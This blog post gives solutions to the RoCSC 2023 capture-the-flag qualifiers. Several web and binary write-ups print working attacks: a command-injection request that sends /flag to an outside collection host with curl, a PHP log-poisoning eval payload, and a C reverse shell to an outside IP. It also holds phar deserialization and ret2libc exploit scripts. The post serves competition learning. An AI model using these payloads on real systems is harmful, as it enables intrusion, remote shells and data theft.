RoCSC 2023

May 27, 2023

Write-ups for the Romanian CyberSecurity Challenge 2023 Online Qualifiers.

Hashy

Un programator junior a creat o pagina care genereaza hash-uri sha256 dar e posibil sa nu fie sigura. Datele importante se afla in /flag . URL: http://79.137.82.19/

Flag format: ROCSC{sha256}

There's a command injection in the name parameter, we can execute shell commands by closing the double quotes and using backticks before opening the double quotes again. To get the flag we can exfiltrate using curl:

POST / HTTP/1.1
Host: 79.137.82.19
Content-Length: 67
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://79.137.82.19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://79.137.82.19/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

name="`cat /flag | curl -d @- ps0zx0md.requestrepo.com`"&submit=md5

flag

ROCSC{F82590885D27ECD16EB594E2923D16E112B3C46CFC1BAA4ABD13F7802A3A5558}

i-am-php

It is, in my opinion, a common PHP general inclusion issue. It merely seeks to treat everyone equally.

GET params is written to /tmp/extra.log, first insert payload then include /tmp/extra.log and then get RCE

view-source:http://34.159.31.74:30203/?param=%3C?php%20eval($_GET[0]);%20?%3E

view-source:http://34.159.31.74:30203/?param=/tmp/extra.log&0=var_dump(file_get_contents(%27f7349ghf3c7r20ffj4/flag.php%27));

flag

CTF{db21629aa63aa7add8be1b2f435d49238243cbf5e87f2b736a691c3f62d647d5}

rocker

Your moment to rock has arrived, and every second counts. You are the centre of attention at this time, as your skills and potential are highlighted. Each second that passes is a priceless drop in the great ocean of time, a brief opportunity to make a lasting impression on the world. Every decision you make and action you take will help you get closer to your objectives and desires.

Bruteforce secret_key using flask-unsign. Then we can forge a token with the admin user:

# this will generate the wordlist
for k in range(14):
for i in range(60):
for j in range(60):
a = f'2023-05-26 {str(k).zfill(2)}:{str(i).zfill(2)}:{str(j).zfill(2)}'
print(a)

# python bf.py > wordlist.txt
# $ flask-unsign --cookie 'eyJ1c2VyX3R5cGUiOiJ1c2VyIn0.ZHCwsA.wFZMR0VmfGA27vd4-g5hZ_kgd28' --unsign --wordlist wordlist.txt
# 2023-05-26 13:03:39
GET /flag HTTP/1.1
Host: 34.159.31.74:32527
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: session=eyJ1c2VyX3R5cGUiOiJhZG1pbiJ9.ZHCypw.h_CmbYYbte-sIIQsv6xJD_wOcZw
Connection: close


flag

CTF{4666c3220395739618c1657045b6b1289817b6e84326b45c7c651aab51a94fe2}

brokenide

Here we have a very performant yet so broken IDE! Can you write that one line of code to read the flag?

Chall eviroment: http://167.71.53.178:8000/

First get a reverse shell using:

#include <stdlib.h>
#include <unistd.h>

int main() {
char *args[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/79.113.128.147/4444 0>&1", NULL};
execvp(args[0], args);
return 0;
}

Write another C file that creates symlinks, use that to replace stdout in order to leak files outside of the chroot jail.

Then create a symlink to payload.c to /app/brokenide/ide/views.py, insert python reverse shell and save in the code ide.

flag

CTF{089abe07a5f2e4839637d2ccefaf133a0a96f1f34ad3fad67bae75303c319dc1}

wheel-of-misfortune

Sometimes, we make our own luck!

Flag format: CTF{sha256}

Use this repo https://github.com/silentsignal/rsa_sign2n to recover RSA public key from 2 tokens, then forge a new token using HS/RSA jwt confusion in order to edit luck.

flag

CTF{8400de2552d48551d36f0a25c40430fc488f035b68bdca4fe3d8875a86a5d037}

classy-backdoor

A state-sponsored threat actor, driven by their advanced capabilities and strategic intent, ingeniously planted a backdoor so incredibly awkward in its design that it defies conventional understanding. It is an exceptional work of artistry and sophistication, carefully crafted to remain undetectable amidst the vast digital landscape. This backdoor, surpassing the realm of imagination, possesses an unmatched level of performance that surpasses even the wildest dreams one could conjure.

Upload file using PHP_SESSION_UPLOAD_PROGRESS trick, observe that phpinfo is backdoored and it has a sleep of 3 seconds.

Create a phar that deserializes Vulnerable class to get RCE and then use phar:// to trigger deserialization

from pwn import process

sh = process("curl 'http://34.159.31.74:30616/phpinfo.php' -H 'Cookie: PHPSESSID=x' -F 'PHP_SESSION_UPLOAD_PROGRESS=xddddd' -F 'file=@test.phar' -s | grep 'tmp/'", shell=True)

file_name = sh.recvline().decode().split()[-1]

print(file_name)

import requests

r = requests.get(f'http://34.159.31.74:30616/?local_file=phar://{file_name}.phar')

print(r.text)

flag

CTF{50a6eb6aeff4af7f1625674cccfa69e8b6fae21da700765898eaef2fd02936e8}

intruder

Analyse the pcap and find the flag.

Flag format CTF{sha256}

Wireshark -> Export Objects -> HTTP

Then binwalk over all files, find GIF that has the flag:

Scan Time:     2023-05-28 22:19:17
Target File:   /Users/adragos/Desktop/ctf_archive/2023/rocsc/intruder/ok/execute
MD5 Checksum:  5151e1a78e157598df3953f4dc76d68c
Signatures:    411

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
172           0xAC            GIF image data, version "89a", 1700 x 2200
599           0x257           Copyright string: "Copyright Artifex Software 2011"

flag

CTF{506f80a01ad6983cc1df148087f3d4fb59e9aacbde60d45766361a5c6b3cbcda}

infamous

What's the secret behind this trap?

This is the text file provided:

#separator \x09
#set_separator	,
#empty_field	(empty)
#unset_field	-
#path	conn: leet
alert: 7H151Y51Y0UrF16D70WU0N
#open	2019-11-08-11-44-16
#fields	ts	uid	id.orig_h	id.orig_p	id.resp_h	id.resp_p	proto	service	duration	orig_bytes	resp_bytes	conn_state	local_orig	local_resp	missed_bytes	history	orig_pkts	orig_ip_bytes	resp_pkts	resp_ip_bytes	tunnel_parents
#types	time	string	addr	port	addr	port	enum	string	interval	count	count	string	bool	bool	count	string	count	count	count	count	set[string]
1521911721.255387	C8Tful1TvM3Zf5x8fl	10.164.94.120	39681	10.47.3.155	3389	tcp	-	0.004266	97	19	RSTR	-	-	0	ShADTdtr	10	730	6	342	-
1521911721.411148	CXWfTK3LRdiuQxBbM6	10.47.25.80	50817	10.128.0.218	23189	tcp	-	0.000486	0	0	REJ	-	-	0	Sr	2	104	2	80	-
1521911721.926018	CM59GGQhNEoKONb5i	10.47.25.80	50817	10.128.0.218	23189	tcp	-	0.000538	0	0	REJ	-	-	0	Sr	2	104	2	80	-
1521911722.690601	CuKFds250kxFgkhh8f	10.47.25.80	50813	10.128.0.218	27765	tcp	-	0.000546	0	0	REJ	-	-	0	Sr	2	104	2	80	-
1521911723.205187	CBrzd94qfowOqJwCHa	10.47.25.80	50813	10.128.0.218	27765	tcp	-	0.000605	0	0	REJ	-	-	0	Sr	2	104	2	80	-

The solution is to leet decode the alert field using https://www.dcode.fr/leet-speak-1337

flag

THISIYSIYOUrFIGDTOWUON

Pikapchu

Un atacator a exfiltrat date din reteaua securizata a rusilor, trebuie sa aflam ce date a scos.

Flag format: ROCSC{string}

Search for NTP packets, the flag is exfiltrated using SRC PORT. Decode from decimal to ASCII to recover the flag.

flag

ROCSC{UDP_MATTERS_AS_WELL}

analog-signal

In the early hours of the morning, a team of radio engineers picked up a mysterious transmission on their equipment. The signal was weak and difficult to decipher, but they managed to record it before it disappeared into the ether. Upon closer inspection, they realized that the transmission was an analog signal. The message spoke of an ancient artifact, long lost to the world, and the quest is to find it.

Flag format: CTF{sha256}

Extract float values from the binary, replace each unique value by 1 and 0

f = open('analog_signal.wav', 'rb').read()[0x00000040:].replace(b'\x00',b'').replace(b'\xf0',b'').replace(b'\xbf',b'0').replace(b'?',b'1')

print(f)

# 011000110111010001100110011110110011011101100001001101010011011000110001001100010011001101100011001110010011000000110001001100010011011100110000001101000011011101100100001101110011100100110101001101010011011001100001011001010011100100110000011000010110010100111001001100100011011001100010001101000110001000110001001101100011001101100110001100010110010101100110001101100110011000110111011000010110000100110010011000010110010000111001011001000110001000110011011001010011010000110010001110010011011000110010001110010011000001100001011001000110000101111101

Decode using CyberChef to recover the flag.

flag

ctf{7a56113c90117047d79556ae90ae926b4b163f1ef6f7aa2ad9db3e4296290ada}

xarm

If you thing you are in the simulation try this binary :D

Flag format: CTF{sha256}

The flag can be quickly recovered without reversing the binary by using some basic cryptanalysis. We know the flag format and we find out that the flag is just flag.enc xor'ed by 0x6

flag

CTF{8604cd0b7ddd5065780e43449aa7aeacdb0316358d73252524d40fa5c5fc5819}

Crackers

Datele NSA au fost criptate, din fericire s-a obtinut un program care verifica cheia de decriptare. Care o fi aceasta?

Flag format: ROCSC{sha256}

Open the binary in IDA, notice the following instructions:

  v64[0] = 10;
v64[1] = 4;
v64[2] = 2;
v64[3] = 14;
v64[4] = 1;
v64[5] = 9;
v64[6] = 12;
v64[7] = 5;
v64[8] = 7;
v64[9] = 15;
v64[10] = 3;
v64[11] = 6;
v64[12] = 8;
v64[13] = 11;
v64[14] = 13;
v64[15] = 16;

which looks like a substitution table.

Next the the table there are these instructions:

  sub_401BD0(v76, "0bf9", 4u);
LOBYTE(v122) = 3;
v78 = 0;
v79 = 15;
v77[0] = 0;
sub_401BD0((void **)v77, "37dc", 4u);
LOBYTE(v122) = 4;
v81 = 0;
v82 = 15;
v80[0] = 0;
sub_401BD0((void **)v80, "dd10", 4u);
LOBYTE(v122) = 5;
v84 = 0;
v85 = 15;
v83[0] = 0;
sub_401BD0((void **)v83, "5ea4", 4u);

...

The 4 character blocks are substituted using that table, to reverse that I used this script:

orders = [0 for i in range(16)]

orders[0] = 10
orders[1] = 4
orders[2] = 2
orders[3] = 14
orders[4] = 1
orders[5] = 9
orders[6] = 12
orders[7] = 5
orders[8] = 7
orders[9] = 15
orders[10] = 3
orders[11] = 6
orders[12] = 8
orders[13] = 11
orders[14] = 13
orders[15] = 16

orders = [i - 1 for i in orders]

parts = [
'0bf9',
'37dc',
'dd10',
'5ea4',
'fd57',
'7ef5',
'b50d',
'1e42',
'666d',
'b5f9',
'857b',
'ab0f',
'40da',
'5857',
'6699',
'53dd',
]

flag = [''] * 16

for i in range(16):
flag[orders[i]] = parts[i]

print(''.join(flag))

flag

ROCSC{fd57dd10857b37dc1e42ab0f666d40da7ef50bf95857b50d66995ea4b5f953dd}

luigi

It's me Mario!

Flag format: CTF{sha256}

Basic bof

from pwn import *

context.arch = 'amd64'

sh = remote('34.159.31.74', 32496)

leak = sh.recvline().split()[-1]

leak = int(leak, 16)

sh.sendline(b'A'*32 + p64(leak)*8)

sh.interactive()

flag

CTF{328f2c6f56d1097d511495607fea09487c84a071379541079795a805da3cc9bd}

game

Echo game is funny!

Flag format: CTF{sha256}

Leak => return to beginning of main since the last byte is not affected by ASLR Repeat until we can ret2libc

from pwn import *
import sys
# context
context.arch = 'amd64'

sh = process('./game')
sh = remote('34.159.31.74', 31485)

payload = b'A' * 271 + b'B'*8 + bytes([0x49])

if 'gdb' in sys.argv:
gdb.attach(sh, '''
break *portal+0x7A
continue
'''
)

sh.recvline()
sh.sendline(str(len(payload)+1))
sh.send(payload)

sh.recvuntil(b'B'*8)

main = u64(sh.recv(6) + b'\x00' + b'\x00')

base = main - 0x1249

log.info('main: ' + hex(main))
log.info('base: ' + hex(base))

binary = ELF('./game')
binary.address = base

payload = b'A' * 271 + b'B'*8 + p64(binary.symbols['puts']) + p64(main + 0x77) + p64(main)
sh.sendline(str(len(payload)+1))
sh.send(payload)
sh.recvline()
sh.recvline()
sh.recvline()
sh.recvline()

libc = ELF('./libc.so.6')
#libc = ELF('./mylibc.so')

libc_leak = u64(sh.recv(6) + b'\x00' + b'\x00')
log.info('libc_leak: ' + hex(libc_leak))

libc.address = libc_leak - libc.symbols['funlockfile']

log.info('libc: ' + hex(libc.address))

rop = ROP(libc)

rop.raw(rop.find_gadget(['ret']).address)
rop.system(next(libc.search(b'/bin/sh\x00')))
payload = b'A' * 271 + b'B'*8 + rop.chain()
sh.sendline(str(len(payload)+1))
sh.send(payload)

sh.interactive()

flag

CTF{334e7fbcdfe2c36701cbaa15bb3d5086fcafe15e773d27391eeb2708afbdf3e0}

worldcup

Meet John, a soccer enthusiast who is passionate about the World Cup. John has always been fascinated with the top goalscorers of the tournament and has decided to create a secure Veracrypt container to store his World Cup memories.

However, John wants to make sure that his container is secure and difficult to crack. So, he has decided to create a password that is formed from concatenating the first and last name of a World Cup top scorer followed by the number of goals they scored in the tournament, written in Roman numerals and enclosed in brackets.

Flag format: CTF{sha256}

I got the footballers from https://www.worldfootball.net/alltime_goalgetter/wm/tore/1/#redirect then generated passwords using all types of brackets () [] {} and <>

target_hash.tc is the first 512 bytes of the file.

hashcat.exe -w 1 -m 13721 target_hash.tc passwords.txt
RobertoBaggio(IX)

The flag is split in the comments section of the exif data

flag

ctf{f8ad1e2fad6f403532405e53f0c4637d5c879b46ff6a03c147ec98f122c2c06e}

combinations

Find the best combination and get the flag!

Flag format CTF{sha256}

Binwalk => binwalk => 6 images each is xor'ed with the previous image. Used this script to xor the images so that I could read the flag

from PIL import Image

# Open the first image
img1 = Image.open('image_45.png')

# Open the second image
img2 = Image.open('image_6.png')

# Check that the images have the same dimensions
if img1.size != img2.size:
print('Error: Images have different dimensions')
exit()

# XOR the images pixel by pixel
img_xor = Image.new(img1.mode, img1.size)
for x in range(img1.width):
for y in range(img1.height):
pixel1 = img1.getpixel((x, y))
pixel2 = img2.getpixel((x, y))
pixel_xor = tuple([p1 ^ p2 for p1, p2 in zip(pixel1, pixel2)])
img_xor.putpixel((x, y), pixel_xor)

# Save the XORed image
img_xor.save('image_56.png')

flag

CTF{89cd42c9b9aad2cde15ec79f98f989bb78df5cd2b006e5fd4c13b119d442e20b}

winter-on-the-road

It started falling yesterday Some Snowflake, now it sat, The clouds took their revenge Towards the sunset, but there are a lot of them Across the village.

Flag format: CTF{sha256}

Flag is in /tmp/flag.

Create Snowflake account, provide credentials, then use /**/ at the beginning of the command to bypass PUT restriction. Then create a new database, table and dump the PUT result into the table.

flag

CTF{d3815d42990cbaeb74ebd4f43777a127deb816c1561507caa3e185856c5f1699}

threat-hunting

Catch the threat.

PS: We've added the encryption method used for a specific file. Happy hunting!

Use volatility to read commands:

docker run -v $PWD:/workspace sk4la/volatility -f /workspace/threat-hunting-2.bin --profile=Win7SP0x64 cmdscan > evidence/cmdscan.txt

We get a wav file, with the provided enc.py we can recover the flag:

from scipy.io.wavfile import read

fc = read('coded_audio.wav')
a_d = fc[1].copy()

t = ''

for i in range(8000):
a_list = list(bin(a_d[100 + i, 0]))
t += a_list[-1]

print(t)

flag

GahhMyCodeIsSoAnnoying-MyCodeIsSoComplicated-OhManImTryingToEncodeThisString-ItIsSoFrustrating

sboxhash

z3 fleg f0rmat 1s: CTF{reg} with reg [a-z0-9]{64} If it takes too long then try harder and optimize.

Each byte of the flag only affects the neighboring 14 bits (15 in total). Since we know the first 4 bytes of the flag, we can bf the next 3 then do a DF search for the correct input.

import subprocess

# run ./gen ARG
def gen(arg):
return subprocess.check_output(['./gen', str(arg)]).strip()

alph = '0123456789abcdef'

enc_flag = b'c704715ca32bcde946aaf0d4b4f05c7849302b98299e4b6e82c0a084c990288a18c9270196b04b39c0a92a03dcf98cec4502ca7e90207dd3a7e3706d6362acfa4ea8016452'

recovered = ''

# for i1 in alph:
# for i2 in alph:
# for i3 in alph:
# for i4 in alph:
# f = 'CTF{' + recovered + i1 + i2 + i3 + i4 + (60-len(recovered)) * '0' + '}'
# out = gen(f)
# if out.startswith(enc_flag[:(len(recovered)+1)*3]):
# print(i1, i2, i3, i4)


parts = ["310f","318d","318e","3e75","3e77","3edf","3ee0","3ee6","3ee8","5410","5415","5416","5417","5418","5432","5960","5966","5968","5980","5985","5986","5987","5988","598b","59aa","59c4","59c9","59cc","6350","6356","6358","635a","ff0b","ff14","ff19","ff1c","ff1d","ff1e","ff2b","ff2c","ff3b","ff3d","ff3e","ff61","ff63","ff64","ff69","ff6b","ff81","ff83","ff92","ff9b","ff9d","ff9e"]

def check(flag, i):
out = gen(flag)
if out == enc_flag:
print('FOUND:', flag)
exit(0)
if out.startswith(enc_flag[:3 + i*2]):
return True
return False

def df(p):
for c in alph:
f = 'CTF{' + p + c + (63-len(p)) * '0' + '}'
if check(f, len(p)-3):
df(p+c)
print(f, len(p)-3)

for p in parts:
df(p)


# flag = '000000000000000000000000000000000000000000000000000000000000000000000'

# for i in range(4, 69):
# c = '1'
# f = flag[:i] + c + flag[i+1:]
# out = gen(f)
# print(f)
# print(i, out)

flag

CTF{598b9af1832437153a2243ee3365f75e647e7af2fe46ea09c905c236f427864f}

nopce

You have everything you need.

Since IV is reused, we just need to reverse the shuffle operation and then we can xor the enc flag with the enc result of our input + our input.

enc_flag = bytes.fromhex('088b7896e331298e95522e12636620ff96bdc52da564b7850d712cfad153bc0c9e9f7dcdd3d8962d3ebf24f5bb2464cf118a9dfad0fca25dd126a8fbad46ae3f48d0cf779e000000')

all_a = bytes.fromhex('78e9078be062288ec0047212373627acc2edc020a661b48f0f7e7bfdd359ea5ac9cd2acb808d932d6db82ba9bd2168c41f84cdf8dff5a659df75adfcf442fe3f54d5291ba222931e')

from pwn import xor

def blocks(txt):
blocks = []
block_size = 4
if len(txt) % block_size != 0:
txt += b'\0' * (block_size - (len(txt) % block_size))
for i in range(0, len(txt), block_size):
block = txt[i:i+block_size]
blocks.append(block)
return blocks

def shuffle(ciphertext):
blks = blocks(ciphertext)
for i in range(1,len(blks)):
blks[i-1] = xor(blks[i-1],blks[i])
return b"".join(blks)

def unshuffle(ciphertext):
blks = blocks(ciphertext)
for i in range(len(blks)-1,0,-1):
blks[i-1] = xor(blks[i-1],blks[i])
return b"".join(blks)

all_a = unshuffle(all_a)
enc_flag = unshuffle(enc_flag)

print(xor(all_a, enc_flag, 0x41))

flag

CTF{369f0e8fe3df1cc5e3f8f6e2d925f3dc1a3eb46e1399765298e061a48bd3af43}

Twitter GitHub LinkedIn